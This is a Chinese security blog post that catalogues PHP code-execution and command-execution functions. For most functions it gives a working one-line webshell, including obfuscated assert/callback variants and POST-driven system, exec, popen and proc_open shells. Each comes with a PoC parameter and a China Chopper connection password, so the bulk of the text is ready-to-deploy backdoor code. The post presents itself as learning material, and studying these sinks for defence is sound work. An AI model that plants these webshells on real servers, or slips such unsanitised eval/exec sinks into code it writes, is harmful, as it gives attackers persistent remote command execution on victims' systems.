php代码执行与命令执行

admin 2024年1月16日23:08:37评论33 views字数 4368阅读14分33秒阅读模式

作者 | 漏洞404

编辑 | L

[漏洞404] 学习文章

网络安全需要你我共同努力

如需转载,请联系平台

php代码执行与命令执行

代码执行函数

  由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。

eval()函数

<?php @eval($_POST[1]);?><?php @eval($_POST['cmd']);?>eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?php eval($_POST[cmd])?>#传入的参数必须为PHP代码,既需要以分号结尾。#命令執行:1=system(whoami);#菜刀连接密码:1

assert()函数

#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。#命令執行:cmd=system(whoami)#菜刀连接密码:cmd<?php @assert($_POST['cmd'])?>
php代码执行与命令执行

preg_replace()函数

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )?>搜索subject中匹配pattern的部分, 以replacement进行替换。preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码 <?php //?cmd=phpinfo()  通过用户可控的传参拿到权限@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");//直接不用传参也可以输出phpinfopreg_replace("/test/e","phpinfo();","jutest test"); ?>
php代码执行与命令执行

create_function()函数

<?php#创建匿名函数执行代码#将传入的参数作为数组的第一个值传递给assert函数$func =create_function('',$_POST['cmd']);$func();poc#cmd=system(whoami)#菜刀连接密码:cmd?>这里是通过 POST传参,因为匿名函数接收POST传参
php代码执行与命令执行

array_map()函数

<?php$func=$_GET['func'];$cmd=$_POST['cmd'];$array[0]=$cmd;$new_array=array_map($func,$array);echo $new_array;//POC#用回调函数过滤数组中的元素:array_filter(数组,函数)#命令执行func=system&cmd=whoami#菜刀连接http://localhost/123.php?func=assert  密码cmd?>函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致
php代码执行与命令执行

call_user_func()函数

#传入的参数作为assert函数的参数#cmd=system(whoami)#菜刀连接密码:cmcall_user_func("assert",$_POST['cmd']);
php代码执行与命令执行

call_user_func_array()函数

#将传入的参数作为数组的第一个值传递给assert函数#cmd=system(whoami)#菜刀连接密码:cmd$cmd=$_POST['cmd'];$array[0]=$cmd;call_user_func_array("assert",$array);
php代码执行与命令执行

array_filter()函数

#用回调函数过滤数组中的元素:array_filter(数组,函数)#命令执行func=system&cmd=whoami#菜刀连接http://localhost/123.php?func=assert  密码cmd$cmd=$_POST['cmd'];$array1=array($cmd);$func =$_GET['func'];array_filter($array1,$func);
php代码执行与命令执行

uasort()函数

#php环境 5.4.45以下版本均不可以使用#php环境  5.4.45版本开始存在 到php环境 5.6.27版本均存在,到 php 7.0版本就不存在了#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。usort($_GET,'asse'.'rt');// poc#命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);#菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密码:cmd
php代码执行与命令执行

命令执行函数

exec()

#exec(命令,以数组形式保存结果,命令执行的状态码)#可执行,但需要加echo才能显示结果<?php$a=$_POST['cmd']; if(function_exists('exec')){      echo "<pre>";    exec($a,$b);    echo "</br>";    print_r($b);    echo "</pre>";}?>
php代码执行与命令执行

passthrn()

#passthru函数可执行并直接显示结果<?php$a=$_POST['cmd'];if(function_exists('passthru')){    echo "<pre>";    passthru($a);    echo "</pre>";}?>
php代码执行与命令执行

proc_open()

#执行一个命令,并且打开用输入输出的文件指针<?php$command=$_POST['cmd'];if(function_exists('proc_open')){    $descriptorspec = array(            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to            );    $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'    if(is_resource($handle))    {        if(function_exists('fread') && function_exists('feof'))        {            echo "<pre>";            while(!feof($pipes[1]))            {                echo fread($pipes[1], 1024);                    }            echo "</pre>";        }        else if(function_exists('fgets') && function_exists('feof'))        {            echo "<pre>";            while(!feof($pipes[1]))            {                       echo fgets($pipes[1],1024);            }            echo "<pre>";        }    }    #pclose($handle);}else{    echo 'GG';}?>
php代码执行与命令执行

shell_exec()

#shell_exec函数可执行但需要加echo才能显示结果<?php$a=$_POST['cmd'];if(function_exists('system')){    echo "<pre>";   echo shell_exec($a);    echo "</pre>";}?>
php代码执行与命令执行

system()

#system函数可执行并直接显示结果<?php$a=$_POST['cmd'];if(function_exists('system')){    echo "<pre>";    system($a);    echo "</pre>";}?>
php代码执行与命令执行

popen()

#popen函数:打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。#返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)#此指针可以用于 fgets(),fgetss() 和 fwrite()。并且必须用 pclose() 来关闭。#若出错,则返回 false<?php$command=$_POST['cmd'];if(function_exists('popen')){    $handle = popen($command , "r"); // Open the command pipe for reading    if(is_resource($handle))    {        if(function_exists('fread') && function_exists('feof'))        {            echo "<pre>";            while(!feof($handle))            {                echo fread($handle, 1024);                    }            echo "</pre>";        }        else if(function_exists('fgets') && function_exists('feof'))        {            echo "<pre>";            while(!feof($handle))            {                       echo fgets($handle,1024);            }            echo "<pre>";        }    }    pclose($handle);}else{    echo 'GG';}?>

`` 

#【反引号命令执行】#通过shell 的环境执行命令,并且完整的输出以字符串的方式返回//可执行并直接显示结果,反引号,波浪键。//shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体//所以如果把shell_exec()函数禁用了,反撇号 (`)也是执行不了命令的。<?php$cmd=$_POST['cmd'];echo "<pre>";echo `$cmd`;?>
php代码执行与命令执行

ob_start

//注意,这个只显示结果的第一行,因此基本只能执行whoami//ob_start:打开缓冲区,需要system函数开启$a = 'system';ob_start($a);echo "$_POST[cmd]";ob_end_flush();echo "</pre>";
php代码执行与命令执行

原文始发于微信公众号(漏洞404):php代码执行与命令执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月16日23:08:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   php代码执行与命令执行https://cn-sec.com/archives/2398596.html

发表评论

匿名网友 填写信息